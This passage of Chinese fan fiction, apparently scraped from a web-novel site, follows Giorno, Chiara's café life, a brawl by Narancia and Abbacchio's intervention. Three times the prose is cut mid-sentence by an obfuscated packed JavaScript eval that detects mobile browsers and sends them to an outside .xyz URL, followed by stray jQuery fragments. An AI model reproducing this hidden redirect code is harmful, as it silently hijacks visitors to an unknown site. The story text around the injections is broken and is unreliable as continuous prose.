他在和煦的微风中,抚摸着身下令人安心的粗壮枝干,贪婪地汲取着这沉默的生物能够给他带来的力量,那是他的人类同伴所不能给予他的……某种静静流淌着的活力。 几个深呼吸后,乔鲁诺睁开眼,树下走来一对少年人。 眼看着他们似乎要开始互诉衷肠,乔鲁诺知道,自己得开始屏息凝神,确保这两人不会发现自己了。 不然他可能会在之后被扣上“变态偷窥狂”的名号,悲惨的校园生活又将添上一笔黑暗史。 因为紧张,精神力高度集中,树下男女的谈话就无可避免的、变得更加清晰可闻了。 “……只是陪我去看一场电影而已,拜托,琪亚拉,你不答应的话,你怎么知道我们不合适呢?” 男生的声音很是急切。 乔鲁诺一下明白了这场对话发生的缘由,大名鼎鼎的琪亚拉正在被坚持不懈的追求者骚扰。 琪亚拉的声音很疲惫:“很抱歉,托马,可是我已经考虑很多次了……我认为我们……” 她的话音未落,“彭”的一声,乔鲁诺感到自己身子一震,他吓了一跳,抓紧了大树,接着意识到托马刚才一拳捶到了树上,而且力道恐怕不小。 树上的叶子一直在往下掉,甚至还有小虫子掉到了乔鲁诺的身上,他分神把虫子轻轻抓起来,动作小心而温柔地将它们送回树叶里。 琪亚拉结结巴巴地改口了:“呃……我……我晚上真的没时间,我妈妈要来接我去检查牙齿。” 她的语气软化了。 男生听出来女孩态度的转变,急不可耐地蹬鼻子上脸:“那明天呢?明天也不行吗?” “……可以,应该可以,我会通知你的。” “你确定?不是在敷衍我吧?” “不,我不会的,托马。” …… 琪亚拉明显在硬着头皮、讨好粗暴的男学生。 对方不知道是意识到了琪亚拉的恐惧还是没有意识到,总之接下来还是以一种粗犷的态度和琪亚拉进行对话,好一会儿,他才被琪亚拉劝走。 听着底下发生的对话,才上中学的乔鲁诺突然有了某种模糊的想法: 看上去好像什么都拥有的琪亚拉,其实过得并不比他快乐。 但是这样的想法、和一直以来被灌输的社会主流思想不符,他不确定地对这个结论感到疑惑。 琪亚拉到底为什么不高兴? 就算被冒犯了,以她备受宠爱的校园地位,她不应该可以直接反击回去吗? 乔鲁诺想不明白。 接着,他又听见了女孩的对话声,他透过枝叶往下看,琪亚拉正在和某人通话。 “妈妈……我的牙齿很健康,我不想去……不,我真的……” “礼貌?……我只是有点累,在家休息,为什么我不可以休息?为什么大家会因为我想休息讨厌我?自私?我……” 她突然沉默了起来。 过了一会儿,乔鲁诺才听见女孩哽咽的声音: “我想休息,妈妈,我今天真的很累,我有很多作业……我……好吧,我会的,我可以,我能按时完成作业的。好,我会到的。” 挂断电话,漂亮的黑发女孩蹲在地上小声啜泣起来。 乔鲁诺感觉自己的四肢由于长期维持一个固定的动作,而开始僵硬。 但是琪亚拉哭了很久都没有离开,他只能强忍着,无声地听完了她这场原本不可能找到观众的痛苦说明。 ……原来看上去总是微笑着的琪亚拉、拥有一切的琪亚拉,总是得到所有人的喜爱的琪亚拉,哭起来要比他更长、更久、更压抑。 她和他一样,哭泣的时候会咬着自己的手指,眼泪无声地从眼眶里滑落,偶尔才发出克制不住的呜咽声。 她哭的时候,比微笑着的时候更真实。 乔鲁诺感到一直以来一成不变的世界,好像有哪里变得不太一样了。 几天以后,他又遇到了另外一件足以彻底改变他人生的事件。 他突然发现,无论去到哪里,他都要比之前更受欢迎,继父不再会对他施以暴力,邻居的孩子不再欺负嘲笑他,就连经常去的冰淇淋店,都会对他格外照顾。 他寻找了一阵子原因,接着发现,这一切的变化,是因为在前段时间,他偶然帮助了一位黑.帮,对方休整好以后,很快对他进行了报答。 乔鲁诺忽然觉得自己找到了人生方向,他也想成为这样的人。 他的世界开始不再阴暗,太阳落下来终于有了温度。 乔鲁诺的背挺得越来越直,在校园里迈开的步伐越来越大,能够迎面撞见琪亚拉的次数越来越多,好几次,他直接和她眼神交错。 但是对方总是忧心忡忡,嘴角挂着微笑,眼睛里却空空如也。 她总是不知道在想些什么,也总是对他视而不见。 可是乔鲁诺却越来越了解她。 她身边总是有不同的朋友,她的储物柜里和书桌上总是摆满了礼物,她不光在学校里备受欢迎,走在街上也总是会被人搭话…… 她的确拥有很多以前的他无法得到的东西,可是那些东西,并不是她想要的。 乔鲁诺曾经的痛苦在于他得不到,而琪亚拉的痛苦在于她不能拒绝。 她忍无可忍的拒绝总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171626|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要付出很多代价。 她的桃色新闻屡见不鲜,她总被诋毁造谣。 她只是淡淡地把眼睛从对话者身上移开,或者将一直以来挂在唇边的微笑卸下,就成了“傲慢”的罪证。 乔鲁诺一无所有不怕失去,琪亚拉却被重重捆绑在他人的期待之中,她艰难地喘息着,不敢对压迫她的众人举起镰刀,因为挥刀落下的瞬间,她不光会斩断羁绊,还会斩下自己的血肉。 于是她只好麻木地试着去逢迎,她试图学着用其他方式转移压力,她频繁地答应不同的约会,然后永无止境地利用下一个异性去打击这场自己并不期待的约会。 她的性格悄然发生了改变,乔鲁诺很少再观察到她眼角的红痕—— 那红痕好像只有他看得见一般,从来没有人会去关心琪亚拉是否有大哭一场。 总之,琪亚拉偷偷哭泣的次数明显减少了。 她的微笑越来越虚假。 …… “你应该和我在一起。” 注视着这一切,乔鲁诺不知为何,悄然而生出这离奇的念头。 在另一个夏日的午后,图书馆陈旧腐朽的空气中,乔鲁诺这么失礼地向琪亚拉说出了这句话。 严格来说,这是他们第一次面对面的谈话。 琪亚拉显然终于在这时候才第一次认识到乔鲁诺。 她被突然冒出来、自说自话的乔鲁诺吓得不轻。 “你有什么毛病?” 年轻女孩慌不择路地逃跑了。 而乔鲁诺就这么坐在她身后,沉默地看着她逃窜的背影。 很好,搞砸了。 到了这种时候,他还能冷静地给自己的行为做出一个评价。 然后他更加冷静地认识到,以琪亚拉时常被异性纠缠的过往来说,她肯定由此会对他产生警惕。 不仅是搞砸了,是完蛋了。 他和琪亚拉——至少在短期内,不会再有交好的可能了。 乔鲁诺年少青春唯一起过的绮念,就这么被自己亲手葬送了。 …… 其实并不重要,他并没有在乎她到没有她就不能生活的地步。 再加上在那之后不久,乔鲁诺遇到了一些事情,和他心心念念的帮派有关。 他花费了一些时间,锻炼自己,完成了一些任务,转变了身份。 他成为了地下世界的领头人,每天都忙着为了实现自己帮派改革的梦想而奋斗。 他无瑕去回忆灰暗岁月里并不重要的那一个小女孩。 直到一个雨天。 乔鲁诺无意中走进了一家咖啡馆。 那张被岁月模糊了的面容,突然又出现在了他眼前。 她依旧美丽,依旧温和,总是微笑着。 一切好像和从前一样,没有变化。 已经经历了人生许多波澜起折的乔鲁诺,猝不及防被“琪亚拉的面容”,拉回了年少青春、一无所有的时光里。 一无所有的过去,不仅没有成就,同样也没有后来的烦恼和失落。 他无法抑制的对此感到怀念。 ……走上前去,乔鲁诺和对方打起了招呼。 琪亚拉抬眼看了过来。 她的眼睛很干净,比他记忆里的还要澄澈美丽。 “先生,”她微笑着问他,“您淋了不短时间的雨吧,需要干毛巾吗?” 她的笑容比过去要更加真诚。 毫无疑问,琪亚拉不再为自己的青春年少而痛苦了。 乔鲁诺也不再痛苦了。 “麻烦了,如果可以的话,非常感谢。”他回答她。 她转过身去,为了他奔前走后,忙活起来。 她没有认出他。 她不能认出他。 …… 纳兰迦说,她迟早会知道真相? 没有那种“真相”。 乔鲁诺回答。 他是这么希望的。 9. 9 新闻报道的工厂爆炸案结束后,菲奥娜得到了一个假期。 我得知这个消息的时候,纳兰迦正在厕所暴打某位男性顾客。 那位客人——完全是罪有应得。 他一开始在向我搭话,我见多了这种场面,驾轻就熟地应付了几句,套取了对方信息后,准备捅给菲奥娜解决。 菲奥娜总能帮我解决。 可是就在我和客人交谈到一半的时候,纳兰迦突然出现在柜台旁,对着男人皱紧眉头,语气不善: “喂,你在干嘛?” 他长着一张圆圆的小脸,幼态到雌雄莫辨的长相和气质令男人受到了迷惑。 粗鲁的男人轻蔑地由上而下扫视了一番纳兰迦,语调轻浮: “哟,又来了一个小妹妹,嗯,和我搭话的话你还不够格啊,那里有点小哦——” 他嘴巴上说了还不算,眼睛一眯,手指抓握成拳,呈现出了一个十分冒犯的动作。 “你这恶心猪头——!” 纳兰迦恼火地原地一蹦三尺高,用自己的头骨狠狠地撞飞了对方的鼻梁。 男人捂着鼻子,没来得及留下狡辩,就被纳兰迦怒气冲冲地又往脸上揍了一拳。 咖啡店里剩下的客人惊慌起来,纳兰迦听到声音,后知后觉地环视了一圈周围,然后思考片刻。 不到半秒,他娴熟且轻松地作出决定—— 把男人一路拖进了卫生间,狠狠地摔上了门。 我被眼前的变故惊得目瞪口呆。 但情况紧急,我赶紧处理好惊愕,转而去安抚好其他客人,再三保证不会发生什么重大事故,然后急匆匆地撬开卫生间的门。 也就是在这个瞬间,手机上传来了菲奥娜的信息,她告诉我她得到了一个假期,现在她要先回家洗澡换身衣服休息一下,下午,她会到店里来和我进行久违的会面。 我无瑕回复菲奥娜的信息。 纳兰迦正在按着比他大了一个块头的男人疯狂出拳。 我被他凶狠的架势吓了一跳,纳兰迦平时看起来都呆呆的,虽然他无袖背心下露出来的肩颈和手臂都有肌肉线条,但我没想到他这么能打。 “冷静……纳兰迦,冷静!别打了!” 在我连声劝阻下,纳兰迦才终于停手,但紧接着,在我惊恐的注视下,他又往男人腹间铆足了劲、狠踹了一脚。 “骚扰无辜市民就是这个下场!”纳兰迦大声喊道,“还有,我的胸肌到底哪里小?你的意思是我看上去很弱吗?这完全是侮辱!” 我:“……” 这孩子,他到底知不知道刚才发生了什么啊? 算了,懒得说了。 我欲言又止了一下,看看地面,又看看纳兰迦,然后叹了口气,清了清嗓子。 “……别顾着和他说话了,纳兰迦,虽然他说的那些话很气人,但是你动手打人了,我虽然安抚了客人,让他们不要报警,但是这位先生作为受害者,肯定是会和警方报案的。” 我说。 “你快收拾一下出来,我们商量一下怎么处理这个麻烦吧?” “麻烦?”纳兰迦满脸疑惑,“什么麻烦?” “警方的起诉啊,”我说,“你在公共场合使用暴力……” “这算什么暴力?”纳兰迦表情冤枉,“我还没动手呢!” 我看了眼他身后的男人躺在地板上,进气多、出气少的样子,又扫过男人断裂的鼻骨和半张脸的血迹…… 这还不算暴力吗? “嗯……总之警方肯定会追查这件事情啦。”我说,“不管怎么说,这件事情都是在我店里发生的,也和我有关,我希望能帮助你,你听我的,快出来,我们讨论一下对策吧?” “没事,”纳兰迦摆摆手,不在意地道,“我以前也经常被人打成这样,也没发生什么啊?” 我有点思考不过来了:“……啊?” 纳兰迦笃定地道:“反正不会有事的,你回去吧,这个人交给我解决就好了。” 说完,他一把把虚弱无力的男人扛到肩膀上,从洗手间临近的后门离开了。 我感到整个事情的走向有点魔幻,于是迷茫着回到了柜台。 乔鲁诺早上送给我的袖珍小鸟正乖巧地躲在桌子角落里,胡乱转动着它小小的脑袋。 注意到我回来了,小鸟发出清脆的鸣叫,蹦跳着靠近了我。 我摸了摸它毛茸茸又暖呼呼的脑袋,心情才稍微平静下来一点。 算了,其实也就是个打架事件而已,没出人命也没把店里面的东西砸坏,不值得我大惊小怪。 …… 纳兰迦一去就老半天没有回来,我帮他把他座位上的东西收拾好了,暂存到柜台里。 下午的时候,菲奥娜如约出现了。 她有着一头橘红色的长发,像她的性格一样,无论置身哪里,都格外引人注目。 好朋友多日未见,我当然要做出一点表示。 菲奥娜下午享用的咖啡和甜点全都算到了我的账上,由我来负责承担。 她拉着我,挑了工作上能讲的事情,滔滔不绝地讲给我听,期间夹杂着对部分同事和领导的辱骂,接下来升级到对那不勒斯法务系统的不满,最后开始升华到对世界的生无可恋。 等到咖啡杯见了底,好不容易有机会休假的菲奥娜才把肚子里的存货倒干净,随后歉意地看着我: “不好意思啊,琪亚拉,光顾着让你听我的事情了,还没来得及问问你……对了,你和那个新男朋友最近进展怎么样?你说他看上去很完美,现在呢?” “现在……也很完美。”我回忆着乔鲁诺,微笑,“我实在找不出他一个单词的缺点。” 我省略了细节,把我和乔鲁诺隐隐的吵过一架,最后由对方无条件包容我作为结尾,告诉了菲奥娜。 菲奥娜惊呼:“世界上竟然有这样的男人,还刚好被你遇上了?可疑,好可疑,琪亚拉你要小心点,虽然我希望你能够幸福,但这种完美男人实在是太梦幻了,放在现实里像杀猪盘。” “我也觉得。”我平静地和菲奥娜说,“所以我会和他分手的……一个月后,我的外祖母要过生日,我会飞去法国,到时候我就和他提分手。” “你舍得吗?”听到这个计划,菲奥娜反倒有异议了,“我第一次见你这么称赞一个男人。” “我用我的整个青春作为代价学会了一个道理,越好的东西越昂贵,”我和菲奥娜说,“我不喜欢廉价品,但也用不上奢侈品,我真的负担不起,菲奥娜。” …… 过了一会儿,在我起身准备去给菲奥娜续杯的时候,门被推开了。 我刚想招呼客人自行就座,一抬头,就看见了纳兰迦的……? 后脑勺? 这个部分应该是这么形容。 简单概括现在的情况,就是纳兰迦正被一位白色长发的男子按着脑袋,低着脸只能看见自己的脚尖。 “琪亚拉?”白发男人一眼看见了我。 “嗯……我是,请问您是……?”我不知为何有点紧张,男人身上有着和工作状态的菲奥娜相似的感觉,像是警察抓到了贼人天然飘散出的威慑感。 “我是……啧,目前勉强算这小子的监护人之一。”他一边说着,一边用力地把纳兰迦的脑袋又往下摁了摁,纳兰迦发出抗议,他暴躁起来。 “今天上午的事情我听说了,他不是有心给你惹麻烦的……当然也不会有麻烦,我已经把那个罪有应得的男人处理好了。”男人语速加快了许多,“好了,我的任务完成了,纳兰迦,你自己跟她道个歉,下次遇到事情不要再用那种老土的方式解决了!” 说完以后,他才松开按着纳兰迦的手。 纳兰迦“哇”的一下跳起来,骂骂咧咧:“道歉什么……哦,琪亚拉,对不起啊,我……呃……” 他像是在努力回忆课文那样,眼睛使劲开始往上瞟。但努力了半天,也没出什么成果。 最后,在白发男人杀意凛然的注视下,他磕磕巴巴地对我道: “哦,其实他们教我说的道歉的话我都忘光了……不过要我说的话,今天吓到你很不好意思啊。嗯……我是这么想的。不过我也是真的生气了,因为你也听见了,那个家伙后面说的话完全是在挑衅我啊!” 我:“……” 其实不是挑衅,冒然评论别人的身体,那是一种隐晦的性骚扰来着。 他果然不懂啊。 和一个什么都不懂的家伙有什么好计较的? 我很大度地立刻摇了摇头:“没事,不用在意。……不过你们真的处理好了吗?如果需要赔偿的话,我可以和你们一起分担,这件事毕竟和我有关。” “赔偿什么?谁要那种东西啊?不用不用!”纳兰迦想都不想就拒绝了。 然后他和白发男人自觉找了个位置坐了下来。 纳兰迦的多动症发作,他克制不住地在座位上扭动起来,东摸摸西摸摸,也不知道在干什么,最后被白发男人一巴掌拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171627|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下: “不是说要来领你的作业吗?!你是真不记得还是装不记得?” 纳兰迦立马道:“知道啊知道啊!我这不就是要开始找了吗!” 然后他显得更忙了,起立蹲下又起来,每张桌子都搜查过去。 我在心里叹了口气,抓紧时间给菲奥娜的杯子续好咖啡,然后对一旁坐着的纳兰迦道: “你的作业我帮你收起来了,在那边的柜子里,你过去打开就能看见了。” 纳兰迦惨叫:“什么?!作业真的还在啊?!不应该被偷走了吗?意大利怎么什么东西都会丢,唯独作业不会丢啊?” ……说得蛮好的。 这孩子挺有脱口秀的天赋,确实值得好好培养一下他的文化水平。 我只笑不语。 菲奥娜喝着咖啡,目光隐晦地在邻桌两个家伙身上打转,喝到一半,她把我扯到她身边,悄悄问道: “琪亚拉,他们是谁?” “店里的客人而已。”我回答。 “那个白头发的男人,给我一种很熟悉的气息,”菲奥娜道,“你看他的动作还有表情,像不像某个人?” 我没反应过来:“谁?” 菲奥娜给我报了个名字,说是她上回带我参观警局的时候,里面某个前辈的名字。 “好像啊……不是长相,是给人的感觉像,他不会也是警察吧?”菲奥娜问。 “不清楚,我不太喜欢打听客人的隐私。”我说,“萍水相逢而已。” 菲奥娜不说话了。 “旁边那个很吵的小孩也很特别……”过了一会儿,她忍不住又道,“我出勤的时候经常遇到和他相似的类型。这种人虽然好相处,但也容易惹是生非,你要小心点。” 我斟酌了一下,没有想到合适的答案回答,就看见白发男人转过了脸,神情冷酷: “无缘无故地评价他人,很没礼貌吧。……现在那不勒斯警局的家伙,都像你这样上不了台面吗?” 被否定了工作方面的名誉,菲奥娜不满起来。 “你说什么?……你怎么知道我在哪里工作?”她的眼神逐渐警惕。 “徽章都露出来了,”白发男人指了指菲奥娜的裤兜,“想不知道才难吧。” 菲奥娜低头看了一下,僵硬一瞬,随后快速将警局徽章藏了起来。 “警惕心真差,也不细心,”白发男人语气越发轻蔑,“所以说,你们这些新人,真是菜鸟……” 菲奥娜死死瞪着眼前的男人: “说的你像是我们警察局的【老人】一样,你是谁?怎么敢这么说话?” 白发男人没有回答。 “走吧,纳兰迦,”他转而对在柜台旁挣扎着不愿意搬作业的同伴道,“今天有那个东西在,你派不上用场,回去吧。” 纳兰迦祈求:“我想留下来!” 男人语气依然冷酷:“你已经偷懒好几天了。” 纳兰迦提出异议:“我不是写作业了吗?” 男人:“你知道我在说什么。” “好吧。”纳兰迦终于不情不愿地点了头。 …… 出了门,白发男人就飞快地在手机页面编辑了一条信息发送。 “她身边有警察,两个人似乎是朋友。我先把纳兰迦带回去,你要是不放心,就亲自盯着她吧。” 纳兰迦好奇地凑过来:“你在干嘛,阿帕基?……给乔鲁诺发消息?” 阿帕基高冷地没有回应,他今天被纳兰迦折腾得够呛,暂时不再想和他说话了。 纳兰迦嘿嘿笑起来:“你刚才看见【那家伙】了吗?琪亚拉完全被锁住了。” 阿帕基冷笑:“……呵。” 纳兰迦又憧憬地道:“等乔鲁诺把她带回【热情】,我们是不是可以带上她和特里休一起玩?我感觉她和特里休也会很合得来,我还蛮喜欢她的。” “不,纳兰迦,他们不会在一起。”阿帕基斩钉截铁地道。 纳兰迦懵了:“为什么?乔鲁诺会抛弃琪亚拉吗?” “这和抛弃无关,”阿帕基一针见血地指出,“一个连真实的自己都不敢袒露的人,是不会有好结局的,只能做孤家寡人,就像特里休的父亲那样。” “乔鲁诺,”说着,他抬头看了眼天空,“正在面临和那时候的BOSS惊人相似的事情。” 虽然出发点不同,但过程是相似的。 “他的结局会是什么呢,纳兰伽?让我们拭目以待吧。” 10. 10 还没有从学校毕业的时候,我假想过很多次,我将来会从事什么工作。 我的父亲是一名果园主,母亲是医生,祖父母是大学生物工程学教授。 外祖父母曾经希望我考取法学院,他们是法律工作人员。 “我还没有你这么大的时候——那时我七岁,就已经立下目标要成为一名法官。”外祖父过去是这么和我说的,“你的母亲也是在不到十二岁的时候就决定要成为法医,虽然后续出了点偏差,但考上医学院这个大方向是没有问题的。” “人一定要早早地认清他将要行走在何种道路之上,琪亚拉。如果等到选择摆在面前了再去做决定,你的一生一定会变得非常糟糕。” 类似的话语从我记事开始就萦绕在我的耳畔,不光是我的外祖父母会这么告诫我,我的母亲也是如此。 而我的父亲常年痴迷于照料果园,祖父母更是一年到头都不会露一次面。 我生活在这个到处都是“计划”和“正确”的家庭中,从我要穿什么样的衣服,用什么样的语调,微笑起来要露出几颗牙齿——都要受到严格的限制。 “正因为你是女孩儿,所以你应当要更加努力,像你妈妈那样,不能松懈。” 外祖父无意中说过这样一句话。 “你的母亲就是被一时的压力冲昏了头脑,由着性子胡闹嫁给了……天啊,我到现在都搞不懂她是为了什么?如果她当初愿意听从我的建议,现在她早就该成为伯爵夫人了。” 我越长大,就越逐渐意识到父母婚姻的失败之处。 两个青年男女由于荷尔蒙的激情迅速走到了一起,一个一事无成的守业者用他的懒惰与松弛,蛊惑了一位从出生起便绷着劲要成为精英的女士。 婚后,这位女士的理智打败了爱情带来的盲目,即便她已经与这位先生育下了一女,也无法填补她的后悔与挫败感。 但是她的完美不容许有任何瑕疵,于是她尽职尽责地扮演着好妻子与好妈妈,对自己的悔意绝口不提,只是通过压力和泪水暗暗地传达到女儿身上。 ——你是我今后唯一的希望,琪亚拉,我已经栽过跟头,不允许你继承我的失败。 我就是被这么教导着长大的。 理所当然,我恐惧家庭与爱情。 我鲜少在我的家庭里感受到纯粹的爱意,父亲让我认识到即便是血亲之间也有隔阂,他对我还不如对那一园子的葡萄感兴趣,母亲则让我认识到,爱是有条件和代价的。 倘若我不能背诵出课文,不能弹奏出流畅的乐章,踮起脚尖的舞步有所差池……或是睡前多写了一行日记,都会被判出局,剥夺成为她女儿的权利。 家庭的结合并不会让人幸福。 爱情并不能带来快乐。 短暂的幸福只是烟雾弹,当大风吹过,世界重新变得清晰的时候,从爱河里爬出来的年轻人只会打着喷嚏,咒骂着自己湿透的衣物是何等的令人不悦。 迄今为止,我答应过许多男士的邀约,但我从未真正地走进过他们的世界,也不允许他们走进我的世界。 人和人的距离是由心到心的距离决定的。 所以我总是会恋情破碎,有时候是由我提出,有时候是由对方提出。 大多数分开的结局都算体面,少数结局会令双方都感到难堪。 我和菲奥娜就是因此而相识的。 于是在这之后,她总是担心我会为此受伤,我向她保证自己绝对会更加谨慎地行事,接着忧愁地说明,有些时候,自己是受到形势所逼。 “虽然这么说有些厚颜无耻……但我确实存在这方面的困扰。”我说,“人们总是喜欢向我发起对话。” 母亲一度考虑过让我成为芭蕾舞者或杂志模特,她说我完美地继承了父亲秀气的轮廓和外祖母美丽的双眼,我应当将出众的外表当作特殊的天赋去对待。 这段话很明显又暴露出了,母亲当初就是被父亲的外表所迷倒。 我不得不将此又作为自己的一大警示标语,刻进每一本日记中。 【警惕那些美貌的男人,他们很容易让异性陷入对爱情的幻想之中。】 ……话又说回来,关于我对自己未来职业的规划,一直到我大学毕业前夕,我都没有头绪。 我总是懵懵懂懂地被家人推着往前走,他们不允许我在这条路上喘息或休憩,以至于我一直没能找到机会自己一个人独处,好好想想自己到底想要怎样的人生。 变故出现于毕业答辩前的一个星期——我因为过度劳累病倒,到医院造访了一次。 在那里,我遇见了一位特殊的【导师】。 他坐在中庭晒着太阳,注意到我正抓着病历,躲在他对面发呆,于是亲切地询问我发生了什么。 “啊……”我已经习惯了总是莫名其妙被人搭话,但不知为何,那一次的交谈,好像有种不一样的感觉。 我想了想,斟酌着回答道:“没什么,先生,我只是在为我的未来感到忧虑……我马上要毕业了,但不知道将来应该从事什么活动。” “是单纯的疑惑,还是有什么困难吗……?”他问。 我眨眨眼睛:“嗯……其实我的家里人对我期望很高,也花费过很多心思培养我,我上过舞蹈课、钢琴课、大提琴班……等等等等,但将几乎所有他们想到的兴趣都尝试过一次以后,我被告知无论是什么方面都很平庸。” 准确的说,不是平庸,只是不够拔尖。 我能将他们期待的任务完成,甚至完成得很好,但永远不是最优秀的那个。 如果永远都拿不到第一名,那就意味着你在这个领域已经出局了。 母亲是这么和我说的。 “听起来压力很大。”男人的声音听起来像是温柔的兄长。 我抬眼认真地看了看他,他有着和我相似的发色和一双沉静的眼睛,头发编成了几股辫子压在头顶,剩下的头发刚好达到耳下的长度,遮盖在脸颊两侧。 “我有个朋友,”男人说,“他正在为了自己的咖啡店发愁……他原本只有一家店铺,后来他又买下了一家,但很不幸的,他的儿子出国了,并且宣布自己绝对不会继承父亲的事业,他正在考虑将这家店铺转手出去。” “我想帮助他,所以买下了店铺。”男人又道,“但是我刚从一场事故中苏醒过来……事实上,那场事故让我沉睡了好多年,所以现在我的身体还算不上健康,我需要有人帮我去照顾店面。如果你始终找不到未来的方向,可以考虑暂时为我工作,等你有了梦想,再将咖啡店寄托给合适的人选,如何?” “可以吗?”我感到惊喜,“这样会不会太突然了?我是说……先生,我们甚至都算不上认识。” “你叫什么?”他问我。 “琪亚拉。”我报上自己的名字。 “我叫布鲁诺,”然后他道,“布鲁诺·布加拉提。……这样我们就算认识了吧?” “……您真是位好心肠的人,先生。” “人们之间互帮互助,我认为这是应该的,并不算什么。听着,琪亚拉,如果你愿意到我的咖啡店工作,那不仅是你的问题得到了解决,更是我的问题也得到了解决。” 于是,在那之后,我就试着到布加拉提先生的咖啡店去工作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171628|180701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始,我并不敢和家里声张此事,只是含糊地说自己刚毕业,还在找工作。 但当薪水发下来,有了自己的积蓄,可以不再依赖父母的养育以后…… 我终于开始有了自己的生活。 如果说我至今为止的生命最感谢的际遇是什么,那就是遇到了布加拉提先生。 对明明是陌生人的我施以帮助,让我能够更快地找到自己适合的生活节奏……无论用怎样的话语感谢他都不为过。 “你明天还放假吗,菲奥娜?”想到这里,我开始询问朋友的日程安排。 “如果没有临时蹦出来特殊案件的话,我的假期应该还能持续一段时间。”菲奥娜回答。 我苦恼地抿了抿唇。 “怎么了?”菲奥娜明显注意到了我的为难,问。 夏天已经慢慢过去了,最近的气温越来越低,天气预报也提示,接下来的降雨可能性将会持续增加,秋天马上要到来了。 布加拉提先生的生日也快到了。 “你知道的,我的工作是每半个月可以放一次假……如果是平时,难得我们俩放假,我肯定很希望能够陪你待在一起。”思考再三,我诚实地对菲奥娜说,“但是,因为我们店老板的生日很快就要到了,我想趁明天的时间,去为他挑选合适的礼物。” 菲奥娜听说过我对布加拉提先生的感激之情。 “哦,”她恍然大悟,随即爽朗地笑了起来,“原来是这样……没问题,琪亚拉,我可以陪你一起去选礼物,顺便就当逛街了!我好久没逛街了呢!” 我有些歉意:“这样真的可以吗?你难得放假……” “没问题的,我很期待逛街!”菲奥娜说,“顺便还可以学习一下你挑礼物的技巧和品味。” 她说得我有点不好意思起来。 “没有那么复杂的东西。”我说。 “不过,”菲奥娜忽然又摸了摸下巴,若有所思地道,“你不是刚和新男朋友谈上恋爱吗?因为这个理由,假期把他丢下,会不会让对方觉得接受不了啊?何况你本来也只决定和他交往一个月……哎呀呀,这就要又少上一天了呢。” “没关系。”我无所谓地答道,“虽然看见本人的时候觉得冲击很大,但是看不到他那张脸的话,又会觉得【他也没什么特别的】。所以没关系。” “啪”的一声,好端端摆在桌子中间的菜单倒了。 菲奥娜吓了一跳,身子迅速往旁边一侧,反应过来以后,睁大眼睛、质疑地问道: “菜单怎么突然倒了?谁碰桌子了?” “我没有。”我连忙摊开双手表示自己的无辜。 菲奥娜“嘶”了一声,搓搓自己胳膊: “总感觉有什么东西在附近啊……不对啊,也没听说会有地震啊?这东西怎么还能自己倒了呢?见鬼了。” 她嘟嘟囔囔地把菜单扶正了。 我起身,准备回柜台去工作。 “啪”的一声,菲奥娜一惊一乍的叫喊又从身后冒了出来。 “……它倒了,它又倒了!我敢发誓,肯定是有什么东西弄倒了它!” 她就差把那句“琪亚拉,你店里有不干净的东西”也喊出来了。 可是这个世界怎么可能会有看不见的“东西”呢? 我对菲奥娜的说法感到好笑。 不过说起来,今天早上开始,总觉得肩膀沉沉的像是背了什么东西,精神却又超乎寻常的亢奋…… 纳兰迦好像也说过什么奇怪的话……你身上有什么东西之类的? 哎?我的平凡日常怎么混进了灵异元素? 11. 11 纳兰迦和菲奥娜相似的反应让我觉得有点好笑。 我是不相信世界上会有什么非科学的存在的。 但不管怎么说,多亏了他们俩,我这一天算是过得丰富多彩。 快要下班的时候,乔鲁诺给我发了一条信息,问我方不方便见面。 我看了眼菲奥娜:“你想亲眼见一见我的新男友吗?” 菲奥娜一下来了精神,拼命点头。 我于是和乔鲁诺说明了菲奥娜的存在,询问他是否介意和菲奥娜见面。 “作为我的朋友,她对你很感兴趣。”我说。 乔鲁诺:“如果是我个人,这种情况没什么讨论的必要,我对陌生人没有兴趣。但如果你希望的话,我愿意和她见面。” 我:“会很委屈你吗?” 乔鲁诺:“如果是你的希望,那就不会,我反倒会很高兴。” 他还是那么会说话。 我忍不住微微笑了笑。 缩在柜台阴影里的小鸟这时探头探脑地走到了我手边,我揉了揉它的脑袋,回答了一句“谢谢你”,就收起了手机。 …… 过了不久,乔鲁诺开了一辆新车出现了。 老实说,我对汽车并不了解,但乔鲁诺的车有种特殊能力: 就算你不知道它的品牌和型号,也能从它非同一般流畅的线条和光线折射情况看出它绝对不便宜。 菲奥娜已经惊掉了下巴,汽车刚停到店门口,她就压低了声音和我打眼色: 又是一位阔少? 我假装没看见她的挤眉弄眼…… 真是的,我又不在乎乔鲁诺的财产,我纯粹只是好色。 讨论钱的问题就太俗了。 